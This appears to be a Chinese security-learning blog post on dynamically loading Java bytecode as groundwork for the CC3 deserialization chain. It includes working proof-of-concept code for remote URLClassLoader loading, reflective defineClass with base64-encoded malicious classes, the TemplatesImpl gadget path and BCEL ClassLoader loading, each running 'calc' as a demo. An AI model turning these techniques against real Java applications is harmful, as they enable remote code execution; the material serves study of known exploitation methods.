由于CC3链运用到了TemplatesImpl加载字节码
,所以来学习一下动态加载字节码。
什么是动态加载字节码?
首先我们来看看什么是JAVA字节码,Java字节码是Java虚拟机执行的一种虚拟指令格式。换一种说法就是编译后得到的class文件内容,本质上就是JVM执行使用的一类指令。可以说是**所有能够恢复成一个类并在JVM虚拟机里加载的字节序列。个人理解就是利用一些方法去执行class文件内容。**接下来给大家带来几种加载字节码的方法。
利用ClassLoader加载远程字节码
看过上文类加载器后理解这个并不太难,先看POC
import java.io.IOException;
import java.net.URL;
import java.net.URLClassLoader;
public class Classloader {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL[] urls = {new URL("http://127.0.0.1:8000/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class<?> c = classLoader.loadClass("Exec");
c.newInstance();
}
}
接着构造恶意类
import java.io.IOException;
public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
我们在选则的目录中生成字节码文件Exec.class,接着运行Classloader.java
就可以执行字节码里面的恶意类了,需要注意的是我们需要开启远程服务。
python -m http.server
注意点:不单是http协议可以利用,许多协议都可以在此利用如file协议等。
defineClass 直接加载字节码文件
不管是加载远程class还是本地class或者Jar,java都要经历三个方法的调用
ClassLoader#loadClass
ClassLoader#findClass
#ClassLoader#defineClass
我们可以用两种方式读取。
1.将字节码文件设置为Exec.class的base64编码,(因为存在不可见字符,不编码可能存在特殊情况)
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.util.Base64;
public class DefineClassTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAARFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAABAAEAAUADQAGAAsAAAAEAAEADAABAA0AAAACAA4=");
Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec",code,0,code.length);
Exec.newInstance();
}
}
因为该方法是私有的,我们要通过反射获取该方法。
2.通过IO进行文件读取
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class DefineClassTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\del'l'\\Desktop\\Exec.class"));
Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec",code,0,code.length);
Exec.newInstance();
}
}
利用TemplatesImpl加载字节码
我们先看一下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的TransletClassLoader类重写了defineClass方法。
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
但是并没有标明属性,所以只能内部调用。现在我们找找利用defineClass的链子。
发现只有defineTransletClasses调用defineClass方法,我们需要找一下谁调用了defineTransletClasses,发现getTransletInstance()
调用了,在往上发现发现 newTransformer调用了它,且这个方法是public可以直接进行外部调用。
所以我们调用链如下
newTransformer() ->getTransletInstance() -> defineTransletClasses()-> defineClass()
注意
当我们跟到newTransformer下的getTransletInstance(),会发现要想到defineTransletClasses()是需要条件的。具体分析一下。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
__name不为空且_class为空,但是他们默认都是null,需要我们修改他们的值。
因为在TemplatesImpl中存在一个构造器,我们便可以利用这个获取类。进而通过反射来修改参数。
public class template {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_name","XINO");
}
//反射
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
我们继续往下看
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
可以看到这里也是有要求的,_bytecodes不能为空。
_class[i] = loader.defineClass(_bytecodes[i]);
可以看到有loader.defineClass,我们便可以猜测_bytecodes
就是我们要用来加载的字节数组。
还有我们看到run方法
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
注意_tfactory.getExternalExtensionsMap()调用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我们要注意赋值,并且是TransformerFactoryImpl的实例
因此需要我们
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,具体我就不分析了。总之需要我们继承该AbstractTranslet
,作为抽象类,我们需要实现它的接口(transform()
与Translet、transform()
)。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTest extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
编译生成字节码,POC如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
setFieldValue(templates,"_name","XINO");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
利用BCEL ClassLoader加载字节码
通过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将 原生的字节码转换成BCEL格式的字节码
利用方法和上面差不多,也是先写一个恶意类,只不过利用的方法改变了
Repository.lookupClass
Utility.encode
可以看看POC咋写
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import javax.rmi.CORBA.Util;
import java.io.IOException;
public class BECL {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
这里需要注意的是加上$$ BCEL$ $的原因是只有加上了它才会进行decode字节码然后loadClass会判断类名 。
参考博客:https://blog.csdn.net/qq_47886905/article/details/123667060